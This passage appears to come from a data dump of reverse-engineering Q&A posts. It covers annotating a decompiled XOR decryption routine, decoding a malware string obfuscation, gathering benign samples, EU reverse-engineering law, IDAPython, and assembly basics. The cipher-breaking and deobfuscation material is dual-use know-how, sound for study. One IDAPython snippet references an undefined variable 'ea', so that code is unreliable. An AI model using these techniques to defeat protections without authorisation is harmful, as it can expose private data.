 void *v8; // r5@1\n  __int64 v9; // r0@1\n  signed int v10; // r6@1\n  __int64 v12; // [sp+8h] [bp-30h]@1\n  int v13; // [sp+14h] [bp-24h]@1\n\n  v5 = a1;\n  v6 = a2;\n  v7 = a2 &gt;&gt; 3;\n  v8 = a1;\n  v13 = _stack_chk_guard; //a stack guard\n  LODWORD(v9) = crc64(a3, (int)&amp;a5, _stack_chk_guard, 8);\n  v10 = 0;\n  v12 = v9;\n  do\n  {\n    ++v10;\n    if ( 8 * v10 &gt; v6 )\n    {\n      if ( v6 &gt;= 8 * v10 - 8 )\n        LODWORD(v9) = memcpy(v8, &amp;v12, (size_t)((char *)v5 + v6 - (_DWORD)v8));\n    }\n    else\n    {\n      v9 = v12;\n      *(_QWORD *)v8 = v12;\n    }\n    v8 = (char *)v8 + 8;\n  }while ( v10 &lt;= (signed int)v7 );\n  if ( v13 != _stack_chk_guard )\n    _stack_chk_fail(v9);\n  return v9;\n}\n\n\n//----- (000014E4) --------------------------------------------------------\nsigned int __fastcall decryptData(void *a1, unsigned int *a2, int a3, int a4, __int64 a5)\n{\n  int v5; // r4@1\n  void *v6; // r11@1\n  unsigned int *v7; // r10@1\n  unsigned int v8; // r7@3\n  int v9; // r9@3\n  int v10; // ST10_4@3\n  void *v11; // r8@3\n  const void *v12; // r5@3\n  int v13; // r6@3\n  signed int result; // r0@5\n\n  v5 = a3;\n  v6 = a1;\n  v7 = a2;\n  if ( check == 1 )\n  {\n    if ( a5 )\n    {\n      result = 0;\n    }\n    else\n    {\n      v8 = *(_BYTE *)a2;\n      v9 = a4 + v8;\n      v10 = *((_BYTE *)a2 + a3 - 1);\n      v11 = malloc(a3 - 1);\n      v12 = malloc(v5 - 1);\n      getKey(v11, (unsigned __int16)(v5 - 1), v9, (2596069104u * (unsigned __int64)v8 &gt;&gt; 32) + 305419896 * v8, -16 * v8);\n      v13 = v5 - 2;\n      doXor((int)v12, (int)((char *)v7 + 1), (int)v11, v10, v13, (unsigned __int64)v13 &gt;&gt; 32, v10);\n      memcpy(v6, v12, v5 - 2);\n      if ( *((char *)v12 + v5 - 2) != v9 )\n        v13 = 0;\n      if ( v11 )\n        free(v11);\n      free((void *)v12);\n      result = v13;\n    }\n  }\n  else\n  {\n    result = -1;\n  }\n  return result;\n}\n</code></pre>\n\n<p>I have the implementation of crc64.\nWhat I fail to understand is where does it get the seed from the data array for the getKey.</p>\n\n<p>I'm not sure, I think it stores in the last 2 bytes the key that is used to generated the bigger key for xor. Please help, I'm really struggling and my C skills are a rusty.</p>\n\n<p>Here is a set of data :</p>\n\n<pre><code>$type = \"01\";\n$length = \"37\";\n$data=\"ea8bf72287a0af8aa65edf259a43\".\n\"e1d8a67f71bce448273199848e401b33\".\n\"da379966a12ce4442e31991b71bde449\".\n\"39bb907d71bce448cc\";\n</code></pre>\n\n<p>Normally, first 8 bytes gives the latitude and second longitude which in this case is :\n<code>f8869e63e888bb3f29ae997e0bc6e93f</code></p>\n\n<p>So basically I assume we can expect this to be the coded version :\n<code>ea8bf72287a0af8aa65edf259a43e1d8</code>\nThe inverse of xor is a xor so after xor it gives :\n<code>120d69416f2814b58ff0465b918508e7</code></p>\n\n<p>Which <em>hypothetically</em> is our partial xor key.</p>\n\n<p>Now questions :</p>\n\n<ul>\n<li>what is the length of the seed stored in data?</li>\n<li>how the xor key is computed?</li>\n<li>are we sure about latitude/longitude position in data?</li>\n</ul>\n\n<p>If you want to help outside stack and discuss this please contact me.\nMany thanks</p>\n",
        "Title": "Help me reverse this",
        "Tags": "|decompilation|c|decryption|xor|",
        "Answer": "\n\n<p>Here's your code with names given to most variables. That's quite a bit of code so I'll try to only iterate the important parts. I also added a few comments in the code to help reading, although I didn't try to cover all code with comments. Make sure you go over the named parameters, I believe those will help you understand the code quickly. Viewing the code in a syntax highlighting editor will also help (couldn't get SO to highlight).</p>\n\n<p>Please add a comment about anything that's not clear enough.</p>\n\n<p>the <code>NI</code> prefix is my initials, you can ignore it. </p>\n\n<p>First, <code>doXor</code>:</p>\n\n<p>This function simply XORs all bytes except the last byte, which is treated a bit differently, but more on that later. This is not part of the <code>while</code> loop simply because it's recevied differently in <code>doXor</code>. A possible reasoning behind this is to force any user of <code>doXor</code> to explicitly deal with this value, as it's somewhat important for asserting the validity of the decrpyed message.</p>\n\n<pre><code>//----- (00001354) --------------------------------------------------------\nint __fastcall doXor(int result, int a2_NI_source, int a3_NI_key, int a4_NI_unused_copy_source_last_byte, int a5_NI_length, int a6_NI_unused, char a7_NI_source_last_byte)\n{\n  int v7; // r5@1\n  int v8; // r6@1\n  int v9; // r7@1\n  int v10; // r1@1\n  char v11; // lr@3\n  char v12; // t1@3\n  char v13; // t1@3\n\n  v7_NI_source_pos = a2_NI_source - 1;\n  v8_NI_key_pos = a3_NI_key - 1;\n  v9_NI_result_pos = result - 1;\n  v10_NI_source_end_loc = a2_NI_source + a5_NI_length - 1;\n  while ( v7_NI_source_pos != v10_NI_source_end_loc )\n  {\n    // Ready bytes from v7_NI_source_pos and v8_NI_key_pos\n    v12 = *(_BYTE *)(v7_NI_source_pos++ + 1); // READ BYTE OF a2 + offset\n    v11 = v12;\n    v13 = *(_BYTE *)(v8_NI_key_pos++ + 1); // READ BYTE OF a2 + offset\n\n    // Xor two values and place in v9_NI_result_pos\n    *(_BYTE *)(v9_NI_result_pos++ + 1) = v11 ^ v13;\n  } // ====== so far this one just does a xor in the full array\n  //   ===&gt;what does this one do?\n\n  // XOR LAST BYTE OF key with a7_NI_source_last_byte (see decryptData for code that retreives the byte)\n  *(_BYTE *)(result + a5_NI_length) = *(_BYTE *)(a3_NI_key + a5_NI_length) ^ a7_NI_source_last_byte;\n\n  return result;\n}\n</code></pre>\n\n<p>Second, <code>getNumber</code>:</p>\n\n<p>This is never actually used, but generates a single byte of random data which is somewhat biased for sepcificaly the value 255 because casting a \"nonnegative long integer uniformly distributed between 0 and 2^31\" to a unsigned byte will, in most cases, yield a number above 255.</p>\n\n<p><a href=\"http://linux.die.net/man/2/time\" rel=\"nofollow\">time</a> will return the current local time in seconds since Epoch, <a href=\"http://linux.die.net/man/3/srand48\" rel=\"nofollow\">srand48</a> will seed the builtin PRNG with that result and <a href=\"http://linux.die.net/man/3/lrand48\" rel=\"nofollow\">lrand48</a> return the random number.</p>\n\n<pre><code>//----- (00001384) --------------------------------------------------------\n// This is never used in provided code! :S\nint getNumber()\n{\n  __int32 v0; // r0@1\n\n  // Seed srand48 using current local time in seconds since Epoch\n  v0 = time(0);\n  srand48(v0);\n  // Return 1 byte integer casted from nonnegative long integer uniformly distributed between 0 and 2^31 \n  return (unsigned __int8)lrand48();\n}\n</code></pre>\n\n<p>Third, <code>getKey</code>:</p>\n\n<p><strong>[EDIT]</strong> A simple stream padding based on passed values. It is unclear what <code>crc64</code> does and how are it's parameters used, but it appears as if it does not receive a buffer.\nThe low dword returned from <code>crc64</code> is copied repeatedly to create the key sequence, and is used as the internal PRNG state. <code>crc64</code> is there for the function creating the initial state, or the seed function for <code>geyKey</code>.\nIt has some decompliation bloat (that is, extra redundant C statements caused by the decompiler not doing the best job it could) but basically this function fills the requested buffer with the same value over and over.</p>\n\n<pre><code>//----- (00001398) --------------------------------------------------------\nint __fastcall getKey(void *a1_NI_key_buffer, unsigned int a2_NI_key_length, unsigned __int8 a3, int a4_NI_unused, char a5)\n{\n  void *v5; // r8@1\n  unsigned int v6; // r7@1\n  unsigned int v7; // r10@1\n  void *v8; // r5@1\n  __int64 v9; // r0@1\n  signed int v10; // r6@1\n  __int64 v12; // [sp+8h] [bp-30h]@1\n  int v13; // [sp+14h] [bp-24h]@1\n\n  v5_NI_key_buffer = a1_NI_key_buffer;\n  v6_NI_key_length = a2_NI_key_length;\n  v7_NI_key_8byte_chunks = a2_NI_key_length &gt;&gt; 3;\n  v8_NI_key_buffer_pos = a1_NI_key_buffer;\n  v13_NI_stack_guard = _stack_chk_guard; //a stack guard\n  LODWORD(v9_NIl_partial_crc_state) = crc64(a3, (int)&amp;a5, _stack_chk_guard, 8);\n  v10_NI_current_8byte_chunk = 0;\n  v12_NI_full_crc_state = v9_NIl_partial_crc_state;\n\n  // Loop on 8 byte long chunks of the required key length\n  do\n  {\n    // increase the counter for the current 8byte chunk we're using\n    ++v10_NI_current_8byte_chunk;\n\n    // If current 8byte chunk exceeds the required length\n    if ( 8 * v10_NI_current_8byte_chunk &gt; v6_NI_key_length )\n    {\n      // If some bytes of the 8byte chunks are needed\n      if ( v6_NI_key_length &gt;= 8 * v10_NI_current_8byte_chunk - 8 )\n      {\n        // Copy portion of v12_NI_full_crc_state needed to fill the buffer\n        LODWORD(v9_NIl_partial_crc_state) = memcpy(v8_NI_key_buffer_pos, &amp;v12_NI_full_crc_state, (size_t)((char *)v5_NI_key_buffer + v6_NI_key_length - (_DWORD)v8_NI_key_buffer_pos));\n      }\n    }\n    else\n    {\n      // Set v9_NIl_partial_crc_state to the initial v12_NI_full_crc_state\n      v9_NIl_partial_crc_state = v12_NI_full_crc_state;\n      *(_QWORD *)v8_NI_key_buffer_pos = v12_NI_full_crc_state;\n    }\n    v8_NI_key_buffer_pos = (char *)v8_NI_key_buffer_pos + 8;\n  }while ( v10_NI_current_8byte_chunk &lt;= (signed int)v7_NI_key_8byte_chunks );\n\n  // Make sure stack wasn't damaged in the process\n  if ( v13_NI_stack_guard != _stack_chk_guard )\n    _stack_chk_fail(v9_NIl_partial_crc_state);\n  return v9_NIl_partial_crc_state;\n}\n</code></pre>\n\n<p>Last but not least, <code>decryptData</code>:</p>\n\n<p>This is where the magic happens, buy it's not too magical. Basically, the first byte is used to feed <code>getKey</code> with a state, togather with <code>a4_NI_unknown_constant</code> parameter passed to <code>decryptData</code>. These two bytes are what determines the entire <code>getKey</code> function.</p>\n\n<p>The last byte (treated strangly in <code>doXor</code> is used as a basic sanify/error detection byte and must result in the correct value for the message to be accepted and properly decrypted.</p>\n\n<pre><code>//----- (000014E4) --------------------------------------------------------\nsigned int __fastcall decryptData(void *a1_NI_result, unsigned int *a2_NI_source, int a3_NI_length, int a4_NI_unknown_constant, __int64 a5)\n{\n  int v5; // r4@1\n  void *v6; // r11@1\n  unsigned int *v7; // r10@1\n  unsigned int v8; // r7@3\n  int v9; // r9@3\n  int v10; // ST10_4@3\n  void *v11; // r8@3\n  const void *v12; // r5@3\n  int v13; // r6@3\n  signed int result; // r0@5\n\n  v5_NI_length_copy = a3_NI_length;\n  v6_NI_result_copy = a1_NI_result;\n  v7_NI_source_copy = a2_NI_source;\n  if ( check == 1 )\n  {\n    if ( a5 )\n    {\n      result = 0;\n    }\n    else\n    {\n      v8_NI_source_first_byte = *(_BYTE *)a2_NI_source;\n      v9_NI_unknown_plus_first_byte = a4_NI_unknown_constant + v8_NI_source_first_byte;\n      v10_NI_source_last_byte = *((_BYTE *)a2_NI_source + a3_NI_length - 1);\n      v11_NI_key = malloc(a3_NI_length - 1);\n      v12_NI_temp_result = malloc(v5_NI_length_copy - 1);\n\n      // generate xor key based on:\n      // 1. length of data\n      // 2. unknown constant provided to decryptData as a4_NI_unknown_constant\n      // 3. first byte of encrypted string\n      getKey(v11_NI_key, (unsigned __int16)(v5_NI_length_copy - 1), v9_NI_unknown_plus_first_byte, (2596069104u * (unsigned __int64)v8_NI_source_first_byte &gt;&gt; 32) + 305419896 * v8_NI_source_first_byte, -16 * v8_NI_source_first_byte);\n      v13_result_length = v5_NI_length_copy - 2;\n\n      // XOR\n      doXor((int)v12_NI_temp_result, (int)((char *)v7_NI_source_copy + 1), (int)v11_NI_key, v10_NI_source_last_byte, v13_result_length, (unsigned __int64)v13_result_length &gt;&gt; 32, v10_NI_source_last_byte);\n\n      // Copy result from v12_NI_temp_result to user provided reulst buffer v6_NI_result_copy\n      memcpy(v6_NI_result_copy, v12_NI_temp_result, v5_NI_length_copy - 2);\n\n      // If last byte in v12_NI_temp_result is not the same as v9_NI_unknown_plus_first_byte, return Null\n      if ( *((char *)v12_NI_temp_result + v5_NI_length_copy - 2) != v9_NI_unknown_plus_first_byte )\n        v13_result_length = 0;\n\n      // If key allocated, free it\n      if ( v11_NI_key )\n        free(v11_NI_key);\n\n      // Free v12_NI_temp_result\n      free((void *)v12_NI_temp_result);\n\n      // return v13_result_length\n      result = v13_result_length;\n    }\n  }\n  else\n  {\n    result = -1;\n  }\n  return result;\n}\n</code></pre>\n\n<p>Finally, sepcific answers to your questions:</p>\n\n<ol>\n<li>The length of the seed is a single byte, as generated in <code>getNumber</code> and used for key generation in <code>getKey</code>. It is used at <code>getKey</code> by expanding it and the other arguments calculated based on <code>v9_NI_unknown_plus_first_byte</code> to generate a <code>QWORD</code>.</li>\n<li>For that you'll need to further RE the <code>crc64</code> function. Sorry about that. But understanding the <code>getKey</code> function better makes it possible to use another (more interesting) approach to decrypting streams of data. Since we now know the \"key\" is an 8byte sequeces used repeatedly, every known byte of the original message reveals all other bytes at the same 8byte offset. Messages with fixed headers, or known types of data (textual, for example) reveal a lot of information about the xor key.</li>\n<li>I have no idea what's the actual content of the data, nor how to interpret it. That is required in order to validate the type and use. You should gather enough sample sets, decrypt them and see if they look like valid latitude/longitude values. </li>\n</ol>\n\n<p>I think the best way for you to proceed now is implementing a simulator that receives a message and tries to decrypt it using the information above. I may have made mistakes or overlooked some small details, but those will be eaier to identify by seeing errors in the produced decryption and following up on those.</p>\n"
    },
    {
        "Id": "13411",
        "CreationDate": "2016-09-02T06:46:08.380",
        "Body": "<p>I'm looking for projects providing reconstructed Control Flow Graphs from binaries while supporting more than one platform (e.g. x86, x64, arm). For example, considering this short assembler program:</p>\n\n<pre><code>.global main\n.intel_syntax noprefix\n\n.extern getchar\n.extern printf\n\n.section .data\njmpTable:\n    .long _stub0\n    .long _stub1\n    .long _stub2\nfmt: .asciz \"%x\\n\"\n\n\n.section .text\n\nmain:\n    call getchar\n    mov dl, 4\n    imul dl\n    add eax, offset jmpTable\n    jmp [eax]\n    .long 3851\n_stub0:\n    mov eax, 0\n    jmp end\n    .long 3851\n_stub1:\n    mov eax, 1\n    jmp end\n    .long 3851\n_stub2:\n    mov eax, 2\n    jmp end\n    .long 3851\nend:\n    push eax\n    push offset fmt\n    call printf\n    add esp, 8\n    ret\n</code></pre>\n\n<p>Projects I've considered:</p>\n\n<ul>\n<li>IDA (best so far, extraction painful)</li>\n<li>BARF (naive, limited approach)</li>\n<li>Angr (breaks easily or computes forever)</li>\n<li>Radare2 (is there any api to export cfg data?)</li>\n<li>JakStab (limited to x86)</li>\n</ul>\n\n<p>rather obvious choice, still, exporting a interprocedural CFG is still a pain. Also, although it is able to find all basic blocks of this example, it misses all indirect edges.</p>\n\n<p>The projects should offer come kind of API to provide the cfg. I know solving this problem with static-analysis alone may be infeasible. I'm looking for a best-effort approach.</p>\n",
        "Title": "Control flow graph reconstruction projects",
        "Tags": "|disassembly|binary-analysis|static-analysis|control-flow-graph|",
        "Answer": "<p>I think Radare2's 'agj' command only extract function call graph, which is different from CFG(control flow graph where a node represent a basic block).</p>\n"
    },
    {
        "Id": "13422",
        "CreationDate": "2016-09-03T12:53:55.627",
        "Body": "<p>I'm trying to figure out this encoding in malware.. All I have are the static strings..</p>\n\n<p>I was able to figure one out so there is plaintext on one:</p>\n\n<pre><code>e-snAetgrU$\n</code></pre>\n\n<p>translates to </p>\n\n<pre><code>$User-Agent\n</code></pre>\n\n<p>Here are some other strings from the same malware if it helps. I've tried 16/32 byte swaps and tried looking at the delta between the plaintext character index and the encoded one..</p>\n\n<pre><code>rdcTNIOemr$\nMyNonASUo\nuCoDL\nMaNOza$\n.eiCeShdPH$\nETSOHD$\nRRNIootP$\n</code></pre>\n",
        "Title": "Unkown Swap Encoding",
        "Tags": "|obfuscation|encryption|binary-diagnosis|",
        "Answer": "<p>googling for e-snAetgrU yields the VBA Macros<br>\njust copy paste the macros into a VBA module in word/excel/<br>\ninsert a few Msgbox() and you can decrypt all the strings   </p>\n\n<p>the unobfuscation is as follows</p>\n\n<pre><code>obf_str       = \"e-snAetgrU\"\nobf_str_len   = len(obf-str)   == 10\nredherr       = 1\ni = 0\n\nd(69, 43, obf_str)\n\nrand = arg1  == 69\n\nREPEAT:\n\nChar_Choice_num = ( arg1 - (obf_str_len * (arg1 \\ obf_str_len) )) ==\n(69,52 - (10 * (69,52\\10 == 6,5) == 60,50) ==) {9,2,5,8}\n\nunobf_str[i++] = obf_str[Char_Choice_num+redherr] == obf_str[10,3,6,9] = 'U,s,e,r'\n\nrand = Char_Choice_num+arg2  ==  52,45,48,51\n\ngoto REPEAT Until Len (obfxx) == len(unobfyy)\n</code></pre>\n\n<p><a href=\"https://i.stack.imgur.com/amkhr.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/amkhr.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "13428",
        "CreationDate": "2016-09-04T10:22:00.593",
        "Body": "<p>In the pursuit and development of malware detection algorithms, often a big sample set of both malicious and benign samples is required. Both machine learning or similar automated techniques, as well as manual or partially manual signature generation, often require a good and varied example set of benign samples that are commonly mistaken as malicious.</p>\n\n<p>Those samples are usually being automatically analyzed and then provided to a Reverse Engineer for further scrutiny, analysis and improvement of said malware detection algorithm.</p>\n\n<p>Although finding malicious samples is frequently discussed (see <a href=\"https://reverseengineering.stackexchange.com/questions/206/where-can-i-as-an-individual-get-malware-samples-to-analyze\">multiple</a> <a href=\"https://reverseengineering.stackexchange.com/questions/9279/where-can-i-get-linux-malware-samples\">questions</a>), discussion about benign sample sources seems lacking.</p>\n\n<p>What are good benign sample repositories/feeds, preferably focused on potential/frequent false positive samples? Other sources or \"retrival methods\" (scraping) are also welcome! </p>\n",
        "Title": "Where can I find benign samples with a high potential to false positive?",
        "Tags": "|malware|benign|",
        "Answer": "<p>Some of the techniques i've also came up with, for the sake of completeness (I won't accept my own answer):</p>\n\n<h2>download from github</h2>\n\n<p>Some Github repositories have multiple executables either as needed utilities or as build output. Scanning Github for those using a <a href=\"https://github.com/intezer/GithubDownloader\" rel=\"nofollow\">GithubDownloader</a> proved being slow but effective, and I results are really likely to be benign.</p>\n\n<h2>collect all executables/hashes from accessible machines</h2>\n\n<p>Since I'm doing this as part of my job, I'm able to ask the IT department to collect hashes and samples from the multiple machines we have at my office. This was a good way to collect many executables for multiple versions of OSes with ease. Collecting hashes and downloading the ones available from VT was also a possibility (perhaps after further scrutiny).</p>\n"
    },
    {
        "Id": "13439",
        "CreationDate": "2016-09-06T09:05:46.347",
        "Body": "<p>Would it be legal to decompile and/or reverse engineer a commercial java JAR file to view the inner workings of a library in order to write original code for use with the library in the EU or UK?</p>\n",
        "Title": "Are the EU laws preventing reverse engineering of software products?",
        "Tags": "|decompilation|law|",
        "Answer": "<p>IANAL; If this is done by a company, you <em>need to</em> consult a lawyer that specializes in the field of computer law before taking any action.</p>\n\n<p>Most reverse engineering restrictions actually come from the EULA/Terms of service and other contractual binding agreements between the software provider and the user.</p>\n\n<p>Often times <a href=\"https://en.wikipedia.org/wiki/Clean_room_design\" rel=\"noreferrer\">Clean room methodologies</a> are used to circumvent any limitations imposed by the software provider. That is where the reverse engineer(s) create a so-called \"requirements document\" and avoid any code/design tasks, which are performed independently by designated developers whom never performed reverse engineering on target or related products. That way there was no reverse engineering done to a program in the process of producing the \"original code\" of the replica. </p>\n\n<p>Because no knowledge of the original invention is used while creating the replica implementation (note the subtle difference, as knowledge <em>is</em> used while defining the requirements) the clean room approach is a valid approach to circumvent copyright infringement but cannot be bypass patent law.  </p>\n\n<p>According to <a href=\"https://en.wikipedia.org/wiki/Reverse_engineering#European_Union\" rel=\"noreferrer\">Wikipedia</a> EU Directive 2009/24, is the most relevant to the question of legality of reverse engineering under EU laws. Keep in mind any contractual agreements with the software company will also affect the legality of reverse engineering their software (and such actions are usually explicitly forbidden there).</p>\n\n<p>This is the excerpt from EU Directive 2009/24:</p>\n\n<blockquote>\n  <p>(15) The unauthorised reproduction, translation, adaptation or transformation of the form of the code in which a copy of a computer program has been made available constitutes an infringement of the exclusive rights of the author. Nevertheless, circumstances may exist when such a reproduction of the code and translation of its form are indispensable to obtain the necessary information to achieve the interoperability of an independently created program with other programs. It has therefore to be considered that, in these limited circumstances only, performance of the acts of reproduction and translation by or on behalf of a person having a right to use a copy of the program is legitimate and compatible with fair practice and must therefore be deemed not to require the authorisation of the right-holder. An objective of this exception is to make it possible to connect all components of a computer system, including those of different manufacturers, so that they can work together. Such an exception to the author's exclusive rights may not be used in a way which prejudices the legitimate interests of the rightholder or which conflicts with a normal exploitation of the program.</p>\n</blockquote>\n\n<p><a href=\"https://www.eff.org/issues/coders/reverse-engineering-faq\" rel=\"noreferrer\">This</a> EFF FAQ is also a good start, although I think it mostly addressed USA laws, some of the recommendations are of value anywhere around the globe.</p>\n"
    },
    {
        "Id": "13449",
        "CreationDate": "2016-09-07T10:09:25.140",
        "Body": "<p>I need to determine whether an IDA's item is code or data.\nSometimes, data resides in an executable's code section (virtual functions tables, switch tables and stuff).\nSo in IDA, you can sometimes see this stuff in the code section:</p>\n\n<pre><code>.text:100A1424     aInternetfreepr db 'InternetFreeProxyInfoList',0\n.text:100A1424                                             ; DATA XREF: .text:10038688o\n.text:100A143E                     align 10h\n.text:100A1440     aInternetfreeco db 'InternetFreeCookies',0 ; DATA XREF: .text:10038680o\n.text:100A1454     aInternetfortez db 'InternetFortezzaCommand',0\n.text:100A1454                                             ; DATA XREF: .text:10038678o\n</code></pre>\n\n<p>is there a method I can call to defer between code and data using only the EA?</p>\n\n<p>Thanks in advance.</p>\n",
        "Title": "idapython - Determine if item is code or data",
        "Tags": "|ida|disassembly|idapython|python|disassemblers|",
        "Answer": "<p>Additionally, you can use <a href=\"http://sark.rtfd.io\" rel=\"nofollow\">Sark</a> to get it done:</p>\n\n\n\n<pre><code>import sark\n\n# For current line\nsark.Line().is_code\n\n# For specific line\nsark.Line(ea).is_code\n</code></pre>\n\n<p>Note: I am the creator of Sark.</p>\n"
    },
    {
        "Id": "13454",
        "CreationDate": "2016-09-07T19:30:20.580",
        "Body": "<p>I am trying to use IDA python to get a list of all variables in .data section because I want to extract a list of cross references to each global variables from IDA.\nIs it possible to do this with IDA python?</p>\n",
        "Title": "Get a list of global variables with IDA python",
        "Tags": "|ida|idapython|",
        "Answer": "<p>Although <a href=\"http://sark.rtfd.io/\" rel=\"nofollow\">Sark</a> is a good library/tool, if you're only looking for a small utility script you might want to avoid the overhead of installing it. I do  recommend you give it a try regardless.</p>\n\n<p>The following code will do just that without using any third party code:</p>\n\n<pre><code># get segment start and end EA by name\nidata_seg_selector = idc.SegByName('.data')\nidata_seg_startea = idc.SegByBase(idata_seg_selector)\nidata_seg_endea = idc.SegEnd(idata_seg_startea)\n\n# iterate EAs in range\nfor seg_ea in range(idata_seg_startea, idata_seg_endea):\n  # iretate xrefs to specific ea\n  for xref in idautils.xrefsto(ea):\n    print(\"Found a cross reference {}: from {} to '.idata' variable {}\".format(xref, xref.frm, seg_ea))\n</code></pre>\n\n<p>Gotaches:</p>\n\n<ul>\n<li>Using this code you'll see all cross references, not only those with a name, although adding that is quite trivial if you'd rather have it that way.</li>\n<li>As mentioned by @ws, you'll only see variables located at the <code>.data</code> section as the OP requested, you should consider including other data related sections (such as <code>.idata</code>, <code>.rodata</code>, <code>.bss</code>, and others). Alternatively you might want to consider using <code>idc.isData(idc.GetFlags(ea))</code> to filter out non-data offsets in some or all sections.</li>\n</ul>\n"
    },
    {
        "Id": "13463",
        "CreationDate": "2016-09-08T09:16:35.133",
        "Body": "<p>I'm studying x86 architecture and assembly in order to have the bases for studying reversing and exploit development. I'm following a course on opensecuritytraining.info. </p>\n\n<p>I see a Hello World example:</p>\n\n<pre><code>push ebp\nmov ebp, esp\npush offset aHelloWorld; \"Hello world\\n\"\ncall ds:__imp__printf\nadd esp, 4\nmov eax, 1234h\npop ebp\nretn\n</code></pre>\n\n<p>This code was generated by Windows Visual C++ 2005 with buffer overflow protection turned off and disassembled with IDA Pro 4.9 Free Version.</p>\n\n<p>I'm trying to understand what each line does.</p>\n\n<p>the first line is <code>push ebp</code>. </p>\n\n<p>I know <code>ebp</code> stands for <strong>base pointer</strong>. What is its function? </p>\n\n<p>I see that in the second line the value in <code>esp</code> is moved into <code>ebp</code> and searching online I see that there first 2 instructions are very common at the beginning of an assembly program. </p>\n\n<p>Though are <code>ebp</code> and <code>esp</code> empty at the beginning? I'm new to assembly. Is <code>ebp</code> used for stack frames, so when we have a function in our code and is it optional for a simple program?</p>\n\n<p>Then <code>push offset aHelloWorld; \"Hello world\\n\"</code></p>\n\n<p>The part after <code>;</code> is a comment so it doesn't get executed right? The first part instead adds the address containing the string Hello World to the stack, right? But where is the string declared? I'm not sure I understand.</p>\n\n<p>Then <code>call ds:__imp__printf</code></p>\n\n<p>it seems it's a call to a function, anyway <code>printf</code> is a builtin function right?\nAnd does <code>ds</code> stand for <strong>data segment register</strong>? Is it used because we are trying to access a memory operand that isn't on the stack?</p>\n\n<p>then <code>add esp, 4</code></p>\n\n<p>do we add 4 bytes to esp? Why?</p>\n\n<p>then <code>move eax, 1234h</code>  what is 1234h here?</p>\n\n<p>then <code>pop ebx</code>..it was pushed at the beginning. is it necessary to pop it at the end?</p>\n\n<p>then <code>retn</code> ( i knew about <code>ret</code> for returning a value after calling a function). I read that the n in retn refers to the number of pushed arguments by the caller. It isn't very clear for me.\nCan you help me to understand? </p>\n",
        "Title": "Understanding assembly Hello World",
        "Tags": "|assembly|",
        "Answer": "<p>first up: I would recommend you to try and write some simple assembly programs or use an intermediate representation like REIL to get a hang of it (REIL has only ~17 instructions).</p>\n\n<pre><code>push ebp\nmov ebp, esp\n</code></pre>\n\n<p>The first two lines build the <em>stack frame</em>. As you correctly mentioned, ebp describes the current stack frame. So when this function is called from another function, is saves the previous base pointer on the stack to be able to restore it when the function returns. When the value is saved, the function assignes the current location on the stack to be the new base pointer for this fuction.</p>\n\n<p>This assignments are called function prolog and are common among different disassembleres. Mainly the ebp is used to reference function arguments, while the esp can be modified freely (by pushing variables on the stack, etc.)</p>\n\n<pre><code>push offset aHelloWorld; \"Hello world\\n\" \n</code></pre>\n\n<p>This function pushes the <strong>address</strong> of the String \"Hello world\\n\" on the stack. The comment at the end is just for convenience matters. Please note pushing something on the stack modifies esp by the (byte-size) of the given value. In this case 4 for x32 and 8 for x64 references (<code>esp=esp-4</code>).</p>\n\n<pre><code>call ds:__imp__printf\n</code></pre>\n\n<p>This call does not directly jump to the function, because the function is loaded dynamically and the code does not know where the function is located in the address space. So it calls a reference to the location, which is the \"jump table\" or in this case rather \"import table\". When a binary is loaded, the systems loader ensures that it loads the dependencies and leaves the correct addresses for the program to use there. (<strong>imp</strong> stands for \"import\").</p>\n\n<pre><code>add esp, 4\n</code></pre>\n\n<p>Based on the calling convention (how are arguments passed? who cleans them from the stack?) printf does not clean up its stack before returning. So the calling function must do it itself. It adds 4 to the stack pointer to revert the changes from the <code>push</code> instruction (which subtracted 4 from esp implicitly).</p>\n\n<pre><code>mov eax, 1234h\n</code></pre>\n\n<p>Nothing special here. The value 0x1234 is <em>moved</em> to the register eax (apparently for no reason). I assume this is the return value of the program (unix convention is to return 0 in eax if there was no failure).</p>\n\n<pre><code>pop ebp\n</code></pre>\n\n<p>This instruction reads the former value of ebp from the stack and stores it in ebp again. Please note you must keep track of the order in which things were pushed on the stack (Last-In-First-Out). Note that this instruction also adds 4 to the esp implicitly.</p>\n\n<pre><code>retn\n</code></pre>\n\n<p>Resume execution at the location at the current esp. When a function is called, the calling fucntion pushes the address to return to on the stack. Also, this function adds 4 to esp to 'remove' the address from the stack.</p>\n"
    },
    {
        "Id": "13465",
        "CreationDate": "2016-09-08T13:44:15.487",
        "Body": "<p>I'm trying to extract this firmware to check whats inside, but can't find how to tackle this file. I was only able to extract and read PNG image.</p>\n\n<p><strong>Binwalk</strong> scan:</p>\n\n<pre><code>DECIMAL     HEX         DESCRIPTION\n-------------------------------------------------------------------------------------------------------\n199536      0x30B70     LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 392072 bytes\n348272      0x55070     LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 10362880 bytes\n994916      0xF2E64     LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 10211328 bytes\n3911705     0x3BB019    LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 220534 bytes\n4078426     0x3E3B5A    LZMA compressed data, properties: 0x03, dictionary size: 65536 bytes, uncompressed size: 1 bytes\n4078457     0x3E3B79    LZMA compressed data, properties: 0x03, dictionary size: 65536 bytes, uncompressed size: 1 bytes\n4092314     0x3E719A    LZMA compressed data, properties: 0x40, dictionary size: 4194304 bytes, uncompressed size: 16384 bytes\n4098794     0x3E8AEA    LZMA compressed data, properties: 0x40, dictionary size: 4194304 bytes, uncompressed size: 16384 bytes\n4100954     0x3E935A    LZMA compressed data, properties: 0x40, dictionary size: 4194304 bytes, uncompressed size: 16384 bytes\n4103114     0x3E9BCA    LZMA compressed data, properties: 0x40, dictionary size: 4194304 bytes, uncompressed size: 16384 bytes\n4105274     0x3EA43A    LZMA compressed data, properties: 0x40, dictionary size: 4194304 bytes, uncompressed size: 16384 bytes\n4121895     0x3EE527    LZMA compressed data, properties: 0x0C, dictionary size: 4194304 bytes, uncompressed size: 50 bytes\n4141086     0x3F301E    TIFF image data, big-endian\n4141279     0x3F30DF    LZMA compressed data, properties: 0x04, dictionary size: 16777216 bytes, uncompressed size: 196608 bytes\n4141359     0x3F312F    LZMA compressed data, properties: 0x04, dictionary size: 16777216 bytes, uncompressed size: 520683520 bytes\n4145070     0x3F3FAE    LZMA compressed data, properties: 0x0C, dictionary size: 